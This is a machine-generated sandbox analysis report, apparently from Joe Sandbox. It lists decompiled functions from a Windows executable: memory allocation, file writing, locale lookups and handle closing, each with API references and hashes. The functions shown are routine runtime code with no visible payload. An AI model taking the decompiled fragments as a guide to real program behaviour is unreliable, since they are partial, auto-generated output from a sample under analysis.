                                                          • SetFilePointer.KERNEL32(?,00000000,00409D75,00000001,00000000,00000001,0040774B,?,0040BDE0,?), ref: 004071E7
                                                          • GetLastError.KERNEL32(?,00000000,00409D75,00000001,00000000,00000001,0040774B,?,0040BDE0,?), ref: 004071F3
                                                            • Part of subcall function 004072D8: GetLastError.KERNEL32(00000001,00407182,00000000,?,?,00000000,?,00000080,00000000,?,0040BDE0,?,?,0040971A,00000001,00000000), ref: 004072DB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$FilePointer
                                                          • String ID:
                                                          • API String ID: 1156039329-0
                                                          • Opcode ID: 538157e968a3ac5c726e5de151c37f75a3cb33a10b821e80b0acb50076539af1
                                                          • Instruction ID: 35d6100753d45bb8327100f36a66a585210cd311ce16fd612f14262b47f048ad
                                                          • Opcode Fuzzy Hash: 538157e968a3ac5c726e5de151c37f75a3cb33a10b821e80b0acb50076539af1
                                                          • Instruction Fuzzy Hash: 9CE04FB1A002109FEB11EEB58881B6272D89F45364F0485BEF624DF2C6D274DC0087A5
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00401430(void* __eax, void** __edx) {
                                                          				void* _t3;
                                                          				void** _t8;
                                                          				void* _t11;
                                                          				long _t14;
                                                          
                                                          				_t8 = __edx;
                                                          				if(__eax >= 0x100000) {
                                                          					_t14 = __eax + 0x0000ffff & 0xffff0000;
                                                          				} else {
                                                          					_t14 = 0x100000;
                                                          				}
                                                          				_t8[1] = _t14;
                                                          				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
                                                          				_t11 = _t3;
                                                          				 *_t8 = _t11;
                                                          				if(_t11 != 0) {
                                                          					_t3 = E004012E4(0x40b43c, _t8);
                                                          					if(_t3 == 0) {
                                                          						VirtualFree( *_t8, 0, 0x8000);
                                                          						 *_t8 = 0;
                                                          						return 0;
                                                          					}
                                                          				}
                                                          				return _t3;
                                                          			}







                                                          0x00401433
                                                          0x0040143d
                                                          0x0040144c
                                                          0x0040143f
                                                          0x0040143f
                                                          0x0040143f
                                                          0x00401452
                                                          0x0040145f
                                                          0x00401464
                                                          0x00401466
                                                          0x0040146a
                                                          0x00401473
                                                          0x0040147a
                                                          0x00401486
                                                          0x0040148d
                                                          0x00000000
                                                          0x0040148d
                                                          0x0040147a
                                                          0x00401492

                                                          APIs
                                                          • VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
                                                          • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: Virtual$AllocFree
                                                          • String ID:
                                                          • API String ID: 2087232378-0
                                                          • Opcode ID: 975b7fb2a686225bee9c52d91c62591a405f54c0ca2a93298412ee223aec9d09
                                                          • Instruction ID: 0a9bdec6e0d4ada2bc80af5311ae0c0d9c5226b5e0cec20c8283fd4eb37d5a7f
                                                          • Opcode Fuzzy Hash: 975b7fb2a686225bee9c52d91c62591a405f54c0ca2a93298412ee223aec9d09
                                                          • Instruction Fuzzy Hash: 0FF02772B0032017DB20696A0CC1B536AC59F85B90F1540BBFA4CFF3FAD2B98C0042AD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 83%
                                                          			E0040523C(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                                                          				signed int _v8;
                                                          				int _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				void* _t76;
                                                          				void* _t77;
                                                          				intOrPtr _t103;
                                                          				void* _t106;
                                                          				void* _t107;
                                                          				void* _t109;
                                                          				void* _t110;
                                                          				void* _t113;
                                                          
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				_push(_t113);
                                                          				_push(0x405372);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t113 + 0xfffffff0;
                                                          				_v12 = GetSystemDefaultLCID();
                                                          				_t76 = 1;
                                                          				_t109 = 0x40b4bc;
                                                          				_t106 = 0x40b4ec;
                                                          				do {
                                                          					_t6 = _t76 + 0xffbf; // 0xffc0
                                                          					E00404C98(_t6,  &_v20);
                                                          					_t8 = _t76 + 0x44; // 0x45
                                                          					E004051C8(_v12, _v20, _t8 - 1,  &_v16); // executed
                                                          					E004031E8(_t109, _t76, _v16, _t106, _t109);
                                                          					_t13 = _t76 + 0xffcf; // 0xffd0
                                                          					E00404C98(_t13,  &_v20);
                                                          					_t15 = _t76 + 0x38; // 0x39
                                                          					E004051C8(_v12, _v20, _t15 - 1,  &_v16);
                                                          					E004031E8(_t106, _t76, _v16, _t106, _t109);
                                                          					_t76 = _t76 + 1;
                                                          					_t106 = _t106 + 4;
                                                          					_t109 = _t109 + 4;
                                                          				} while (_t76 != 0xd);
                                                          				_t77 = 1;
                                                          				_t110 = 0x40b51c;
                                                          				_t107 = 0x40b538;
                                                          				do {
                                                          					_t18 = _t77 + 5; // 0x6
                                                          					asm("cdq");
                                                          					_v8 = _t18 % 7;
                                                          					_t26 = _t77 + 0xffdf; // 0xffe0
                                                          					E00404C98(_t26,  &_v20);
                                                          					E004051C8(_v12, _v20, _v8 + 0x31,  &_v16);
                                                          					E004031E8(_t110, _t77, _v16, _t107, _t110);
                                                          					_t33 = _t77 + 0xffe6; // 0xffe7
                                                          					E00404C98(_t33,  &_v20);
                                                          					E004051C8(_v12, _v20, _v8 + 0x2a,  &_v16);
                                                          					E004031E8(_t107, _t77, _v16, _t107, _t110);
                                                          					_t77 = _t77 + 1;
                                                          					_t107 = _t107 + 4;
                                                          					_t110 = _t110 + 4;
                                                          				} while (_t77 != 8);
                                                          				_pop(_t103);
                                                          				 *[fs:eax] = _t103;
                                                          				_push(E00405379);
                                                          				return E004031B8( &_v20, 2);
                                                          			}















                                                          0x00405247
                                                          0x0040524a
                                                          0x0040524f
                                                          0x00405250
                                                          0x00405255
                                                          0x00405258
                                                          0x00405260
                                                          0x00405263
                                                          0x00405268
                                                          0x0040526d
                                                          0x00405272
                                                          0x00405279
                                                          0x0040527f
                                                          0x00405287
                                                          0x0040528e
                                                          0x00405298
                                                          0x004052a4
                                                          0x004052aa
                                                          0x004052b2
                                                          0x004052b9
                                                          0x004052c3
                                                          0x004052c8
                                                          0x004052c9
                                                          0x004052cc
                                                          0x004052cf
                                                          0x004052d4
                                                          0x004052d9
                                                          0x004052de
                                                          0x004052e3
                                                          0x004052e3
                                                          0x004052eb
                                                          0x004052ee
                                                          0x004052f8
                                                          0x004052fe
                                                          0x0040530f
                                                          0x00405319
                                                          0x00405325
                                                          0x0040532b
                                                          0x0040533c
                                                          0x00405346
                                                          0x0040534b
                                                          0x0040534c
                                                          0x0040534f
                                                          0x00405352
                                                          0x00405359
                                                          0x0040535c
                                                          0x0040535f
                                                          0x00405371

                                                          APIs
                                                          • GetSystemDefaultLCID.KERNEL32(00000000,00405372), ref: 0040525B
                                                            • Part of subcall function 00404C98: LoadStringA.USER32 ref: 00404CB5
                                                            • Part of subcall function 004051C8: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040B4BC,00000001,?,00405293,?,00000000,00405372), ref: 004051E6
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: DefaultInfoLoadLocaleStringSystem
                                                          • String ID:
                                                          • API String ID: 1658689577-0
                                                          • Opcode ID: aee2922704152e08845fe9bf4c35c11f409648bc30f3b488164af542f932a8fc
                                                          • Instruction ID: 90d117b69a0baa23d00b853d448e1049b7d79c9d49ac5036288f6274aab8556b
                                                          • Opcode Fuzzy Hash: aee2922704152e08845fe9bf4c35c11f409648bc30f3b488164af542f932a8fc
                                                          • Instruction Fuzzy Hash: 93316D75E00109ABCB00EF95CCC09EEB779EF85304F518977E815BB285E739AE018B98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 40%
                                                          			E00407110(void* __ecx, void* __edx, void* _a4, void* _a8, void* _a12) {
                                                          				void* __ebp;
                                                          				intOrPtr* _t13;
                                                          				intOrPtr _t26;
                                                          				intOrPtr _t27;
                                                          				void* _t32;
                                                          				void* _t33;
                                                          				void* _t34;
                                                          				intOrPtr* _t36;
                                                          				void* _t38;
                                                          				void* _t39;
                                                          
                                                          				_t34 = __edx;
                                                          				_t33 = __ecx;
                                                          				if(__edx != 0) {
                                                          					_t39 = _t39 + 0xfffffff0;
                                                          					_t13 = E00402AC8(_t13, _t38);
                                                          				}
                                                          				_t32 = _t34;
                                                          				_t36 = _t13;
                                                          				E004028FC(0);
                                                          				_push(0);
                                                          				_push(0x80);
                                                          				_push( *0x0040A174);
                                                          				_push(0);
                                                          				_push( *0x0040A164);
                                                          				_push( *0x0040A158);
                                                          				_t26 = E004034B8(_t33);
                                                          				_push(_t26); // executed
                                                          				L00404478(); // executed
                                                          				 *((intOrPtr*)(_t36 + 4)) = _t26;
                                                          				_t11 = _t36 + 4; // 0x69465405
                                                          				_t27 =  *_t11;
                                                          				if(_t27 == 0 || _t27 + 1 == 0) {
                                                          					E004072D8( *_t36);
                                                          				}
                                                          				 *((char*)(_t36 + 8)) = 1;
                                                          				if(_t32 != 0) {
                                                          					_pop( *[fs:0x0]);
                                                          				}
                                                          				return _t36;
                                                          			}













                                                          0x00407110
                                                          0x00407110
                                                          0x00407118
                                                          0x0040711a
                                                          0x0040711d
                                                          0x0040711d
                                                          0x00407124
                                                          0x00407126
                                                          0x0040712c
                                                          0x00407131
                                                          0x00407133
                                                          0x00407144
                                                          0x00407145
                                                          0x00407153
                                                          0x00407160
                                                          0x00407163
                                                          0x00407168
                                                          0x00407169
                                                          0x0040716e
                                                          0x00407171
                                                          0x00407171
                                                          0x00407176
                                                          0x0040717d
                                                          0x0040717d
                                                          0x00407182
                                                          0x00407188
                                                          0x0040718a
                                                          0x00407191
                                                          0x0040719a

                                                          APIs
                                                          • 6CAA5CA0.KERNEL32(00000000,?,?,00000000,?,00000080,00000000,?,0040BDE0,?,?,0040971A,00000001,00000000,00000002,00000000), ref: 00407169
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2a4953a0f0ff7f2b412f37018494effe7ee8a3f526b72d8dc06175a4c3b7e005
                                                          • Instruction ID: 5f9499a452b8e7bb7806c2f972eba8b44647bac607cd572223cd82b18298d25b
                                                          • Opcode Fuzzy Hash: 2a4953a0f0ff7f2b412f37018494effe7ee8a3f526b72d8dc06175a4c3b7e005
                                                          • Instruction Fuzzy Hash: BD01F5B17042446BD310EB7D9D41B5B7B98AB45354F088136F898EB3C1DA39E92187A9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004067C8(char* __eax, void* __ecx, void* __edx, void* __eflags) {
                                                          				char* _t14;
                                                          				void* _t16;
                                                          				void* _t18;
                                                          				void* _t25;
                                                          				char* _t26;
                                                          				void* _t27;
                                                          
                                                          				_t27 = __edx;
                                                          				_t26 = __eax;
                                                          				_t25 = E00406674(__eax, __ecx, 1);
                                                          				_t18 = E004032F4(_t26);
                                                          				while(_t25 < _t18) {
                                                          					_t14 = CharPrevA(_t26,  &(_t26[_t18])); // executed
                                                          					_t16 =  *_t14 - 0x2f;
                                                          					if(_t16 == 0 || _t16 == 0x2d) {
                                                          						_t18 = _t18 - 1;
                                                          						continue;
                                                          					} else {
                                                          						break;
                                                          					}
                                                          				}
                                                          				if(_t18 != E004032F4(_t26)) {
                                                          					return E004034F8(_t26, _t18, 1, _t27);
                                                          				}
                                                          				return E0040322C(_t27, _t26);
                                                          			}









                                                          0x004067cc
                                                          0x004067ce
                                                          0x004067d9
                                                          0x004067e2
                                                          0x004067e7
                                                          0x004067f0
                                                          0x004067f7
                                                          0x004067f9
                                                          0x004067e6
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004067f9
                                                          0x00406808
                                                          0x00000000
                                                          0x0040681f
                                                          0x00000000

                                                          APIs
                                                          • CharPrevA.USER32(00000000,00000000,?,?,?,00000000,0040684E,00000000,00406874,?,?,?,?,00000000,?,00406889), ref: 004067F0
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: CharPrev
                                                          • String ID:
                                                          • API String ID: 122130370-0
                                                          • Opcode ID: 132315b3f1f0174c6f40125720e517ec2b51761c1b394f30385f713dfeb2f7ab
                                                          • Instruction ID: 3fbd39d5db77d5cc682696ff9061fa83ae4b719539a7415b69a8094445fc1756
                                                          • Opcode Fuzzy Hash: 132315b3f1f0174c6f40125720e517ec2b51761c1b394f30385f713dfeb2f7ab
                                                          • Instruction Fuzzy Hash: D6F0FA613008241BC6117A7E18818AFA6CC8B8A74C741403BF002EB282EE3DAE1752AE
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 27%
                                                          			E0040682C(char* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
                                                          				char _v8;
                                                          				intOrPtr _t20;
                                                          				intOrPtr _t25;
                                                          
                                                          				_push(0);
                                                          				_push(_t25);
                                                          				_push(0x406874);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t25;
                                                          				E004067C8(__eax, __ecx,  &_v8, __eflags);
                                                          				_push(E004034B8(_v8)); // executed
                                                          				L004044C0(); // executed
                                                          				_pop(_t20);
                                                          				 *[fs:eax] = _t20;
                                                          				_push(E0040687B);
                                                          				return E00403198( &_v8);
                                                          			}






                                                          0x0040682f
                                                          0x00406838
                                                          0x00406839
                                                          0x0040683e
                                                          0x00406841
                                                          0x00406849
                                                          0x00406856
                                                          0x00406857
                                                          0x00406860
                                                          0x00406863
                                                          0x00406866
                                                          0x00406873

                                                          APIs
                                                            • Part of subcall function 004067C8: CharPrevA.USER32(00000000,00000000,?,?,?,00000000,0040684E,00000000,00406874,?,?,?,?,00000000,?,00406889), ref: 004067F0
                                                          • 6CF178A0.KERNEL32(00000000,00000000,00406874,?,?,?,?,00000000,?,00406889,00406BC3,00000000,00406C08,?,?,?), ref: 00406857
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: CharF178Prev
                                                          • String ID:
                                                          • API String ID: 1645414822-0
                                                          • Opcode ID: 2c5a75b2c1a8baf53c4d1bf21335fab3318964c02dec770839463c01c23d9986
                                                          • Instruction ID: c5669f274b4e49bfd56b19cd61ad569b0a255c4f164afe14bd72cf1ed24d0fa9
                                                          • Opcode Fuzzy Hash: 2c5a75b2c1a8baf53c4d1bf21335fab3318964c02dec770839463c01c23d9986
                                                          • Instruction Fuzzy Hash: FCE06531204304BBD701FE629C52D5ABBECD749718B92487AB501B7581D5789E148568
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 87%
                                                          			E004073C8(intOrPtr* __eax, long __ecx, void* __edx, void* __ebp) {
                                                          				long _v16;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				int _t6;
                                                          				intOrPtr* _t9;
                                                          				long _t15;
                                                          
                                                          				_push(__ecx);
                                                          				_t15 = __ecx;
                                                          				_t14 = __edx;
                                                          				_t9 = __eax;
                                                          				_t6 = WriteFile( *(__eax + 4), __edx, __ecx,  &_v16, 0); // executed
                                                          				if(_t6 == 0) {
                                                          					_t6 = E004072D8( *_t9);
                                                          				}
                                                          				if(_t15 != _v16) {
                                                          					_t6 = E00407238(_t9, 0x1d, _t14, _t15);
                                                          				}
                                                          				return _t6;
                                                          			}










                                                          0x004073cb
                                                          0x004073cc
                                                          0x004073ce
                                                          0x004073d0
                                                          0x004073df
                                                          0x004073e6
                                                          0x004073ea
                                                          0x004073ea
                                                          0x004073f2
                                                          0x004073fb
                                                          0x004073fb
                                                          0x00407404

                                                          APIs
                                                          • WriteFile.KERNEL32(?,01FA7FF4,000A0E00,?,00000000,000A0E00,?,?,01FA7FF4,00409B3A), ref: 004073DF
                                                            • Part of subcall function 004072D8: GetLastError.KERNEL32(00000001,00407182,00000000,?,?,00000000,?,00000080,00000000,?,0040BDE0,?,?,0040971A,00000001,00000000), ref: 004072DB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ErrorFileLastWrite
                                                          • String ID:
                                                          • API String ID: 442123175-0
                                                          • Opcode ID: 78abb394caad9e94f4f5e9b378634bba7cacbecfd8e2944ecd8de2acb781cba0
                                                          • Instruction ID: 0c4fc9c00003d1daa9aab464f2216e702ea3a4b946e36cb3e45b94fb3def9b8d
                                                          • Opcode Fuzzy Hash: 78abb394caad9e94f4f5e9b378634bba7cacbecfd8e2944ecd8de2acb781cba0
                                                          • Instruction Fuzzy Hash: 70E09A727081106BEB10E65AD880EABA7DCCFC5364F00407BFA08EB281E674AC0487B6
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004073AC(intOrPtr* __eax) {
                                                          				int _t4;
                                                          				intOrPtr* _t7;
                                                          
                                                          				_t7 = __eax;
                                                          				_t4 = SetEndOfFile( *(__eax + 4)); // executed
                                                          				if(_t4 == 0) {
                                                          					return E004072D8( *_t7);
                                                          				}
                                                          				return _t4;
                                                          			}





                                                          0x004073ad
                                                          0x004073b3
                                                          0x004073ba
                                                          0x00000000
                                                          0x004073be
                                                          0x004073c4

                                                          APIs
                                                          • SetEndOfFile.KERNEL32(?,01FA7FF4,00409B1C), ref: 004073B3
                                                            • Part of subcall function 004072D8: GetLastError.KERNEL32(00000001,00407182,00000000,?,?,00000000,?,00000080,00000000,?,0040BDE0,?,?,0040971A,00000001,00000000), ref: 004072DB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ErrorFileLast
                                                          • String ID:
                                                          • API String ID: 734332943-0
                                                          • Opcode ID: 381ebf295b1be6250c99f6c70e51889136dfee5781ea7fa6af6b712eafc4e77e
                                                          • Instruction ID: 440db3fb54f29f57427f4d8a1e0ae65b4843bfcf82987af21eef9c9bff427b07
                                                          • Opcode Fuzzy Hash: 381ebf295b1be6250c99f6c70e51889136dfee5781ea7fa6af6b712eafc4e77e
                                                          • Instruction Fuzzy Hash: B0C04CA1A0411057DB00A6AA99C1A0666DC5A4821835084B6BF04DF286E678EC105716
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004015C4(signed int __eax, void** __ecx, intOrPtr __edx) {
                                                          				signed int _v20;
                                                          				void** _v24;
                                                          				void* _t15;
                                                          				void** _t16;
                                                          				void* _t17;
                                                          				signed int _t27;
                                                          				intOrPtr* _t29;
                                                          				void* _t31;
                                                          				intOrPtr* _t32;
                                                          
                                                          				_v24 = __ecx;
                                                          				 *_t32 = __edx;
                                                          				_t31 = __eax & 0xfffff000;
                                                          				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
                                                          				 *_v24 = _t31;
                                                          				_t15 = _v20 - _t31;
                                                          				_v24[1] = _t15;
                                                          				_t29 =  *0x40b43c; // 0x40b43c
                                                          				while(_t29 != 0x40b43c) {
                                                          					_t7 = _t29 + 8; // 0x0
                                                          					_t17 =  *_t7;
                                                          					_t8 = _t29 + 0xc; // 0x0
                                                          					_t27 =  *_t8 + _t17;
                                                          					if(_t31 > _t17) {
                                                          						_t17 = _t31;
                                                          					}
                                                          					if(_t27 > _v20) {
                                                          						_t27 = _v20;
                                                          					}
                                                          					if(_t27 > _t17) {
                                                          						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
                                                          						if(_t15 == 0) {
                                                          							_t16 = _v24;
                                                          							 *_t16 = 0;
                                                          							return _t16;
                                                          						}
                                                          					}
                                                          					_t29 =  *_t29;
                                                          				}
                                                          				return _t15;
                                                          			}












                                                          0x004015cb
                                                          0x004015cf
                                                          0x004015d6
                                                          0x004015eb
                                                          0x004015f3
                                                          0x004015f9
                                                          0x004015ff
                                                          0x00401602
                                                          0x00401646
                                                          0x0040160a
                                                          0x0040160a
                                                          0x0040160d
                                                          0x00401610
                                                          0x00401614
                                                          0x00401616
                                                          0x00401616
                                                          0x0040161c
                                                          0x0040161e
                                                          0x0040161e
                                                          0x00401624
                                                          0x00401631
                                                          0x00401638
                                                          0x0040163a
                                                          0x00401640
                                                          0x00000000
                                                          0x00401640
                                                          0x00401638
                                                          0x00401644
                                                          0x00401644
                                                          0x00401655

                                                          APIs
                                                          • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00401631
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: AllocVirtual
                                                          • String ID:
                                                          • API String ID: 4275171209-0
                                                          • Opcode ID: cc502ff02348c5ca14464282c50bf6d9044616516d427296b297e1b86820bb76
                                                          • Instruction ID: 8a4128db402ff564317842b1528136efc943efb3ec0006f7d13b38747f41841c
                                                          • Opcode Fuzzy Hash: cc502ff02348c5ca14464282c50bf6d9044616516d427296b297e1b86820bb76
                                                          • Instruction Fuzzy Hash: 41113CB2A057019FC3109F29CD80A1BB7E5EBC4760F19C93DE598A73A5D736AC408699
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 94%
                                                          			E00401658(void* __eax, void** __ecx, void* __edx) {
                                                          				int _t7;
                                                          				void* _t9;
                                                          				signed int _t14;
                                                          				intOrPtr* _t19;
                                                          				signed int _t22;
                                                          				void** _t23;
                                                          
                                                          				_push(__ecx);
                                                          				 *_t23 = __eax + 0x00000fff & 0xfffff000;
                                                          				_t22 = __eax + __edx & 0xfffff000;
                                                          				 *__ecx =  *_t23;
                                                          				_t7 = _t22 -  *_t23;
                                                          				__ecx[1] = _t7;
                                                          				_t19 =  *0x40b43c; // 0x40b43c
                                                          				while(_t19 != 0x40b43c) {
                                                          					_t2 = _t19 + 8; // 0x0
                                                          					_t9 =  *_t2;
                                                          					_t3 = _t19 + 0xc; // 0x0
                                                          					_t14 =  *_t3 + _t9;
                                                          					if(_t9 <  *_t23) {
                                                          						_t9 =  *_t23;
                                                          					}
                                                          					if(_t22 < _t14) {
                                                          						_t14 = _t22;
                                                          					}
                                                          					if(_t14 > _t9) {
                                                          						_t7 = VirtualFree(_t9, _t14 - _t9, 0x4000); // executed
                                                          						if(_t7 == 0) {
                                                          							 *0x40b418 = 2;
                                                          						}
                                                          					}
                                                          					_t19 =  *_t19;
                                                          				}
                                                          				return _t7;
                                                          			}









                                                          0x0040165c
                                                          0x0040166d
                                                          0x00401674
                                                          0x0040167d
                                                          0x00401681
                                                          0x00401684
                                                          0x00401687
                                                          0x004016c7
                                                          0x0040168f
                                                          0x0040168f
                                                          0x00401692
                                                          0x00401695
                                                          0x0040169a
                                                          0x0040169c
                                                          0x0040169c
                                                          0x004016a1
                                                          0x004016a3
                                                          0x004016a3
                                                          0x004016a7
                                                          0x004016b2
                                                          0x004016b9
                                                          0x004016bb
                                                          0x004016bb
                                                          0x004016b9
                                                          0x004016c5
                                                          0x004016c5
                                                          0x004016d4

                                                          APIs
                                                          • VirtualFree.KERNEL32(00000000,00000000,00004000,?,?,?,?,?,004018BF), ref: 004016B2
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: FreeVirtual
                                                          • String ID:
                                                          • API String ID: 1263568516-0
                                                          • Opcode ID: cb90924cff6733cc6eacdcc881367b727e1878aa05a1c28612b22713fd768cab
                                                          • Instruction ID: 16a4501794763894d112e8f61db517d820fca643a48b443a7e05d48f47cfc21a
                                                          • Opcode Fuzzy Hash: cb90924cff6733cc6eacdcc881367b727e1878aa05a1c28612b22713fd768cab
                                                          • Instruction Fuzzy Hash: B501A7726443144BC310AF28DDC092A77D5DB85364F19497ED985B73A2D33B6C0587EC
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004071A0(void* __eax, void* __edx) {
                                                          				void* _t11;
                                                          				void* _t14;
                                                          
                                                          				_t11 = __edx;
                                                          				_t14 = __eax;
                                                          				if( *((char*)(__eax + 8)) != 0) {
                                                          					CloseHandle( *(__eax + 4)); // executed
                                                          				}
                                                          				E00402918(0);
                                                          				if(_t11 != 0) {
                                                          					E00402B04(_t14);
                                                          				}
                                                          				return _t14;
                                                          			}





                                                          0x004071a2
                                                          0x004071a4
                                                          0x004071aa
                                                          0x004071b0
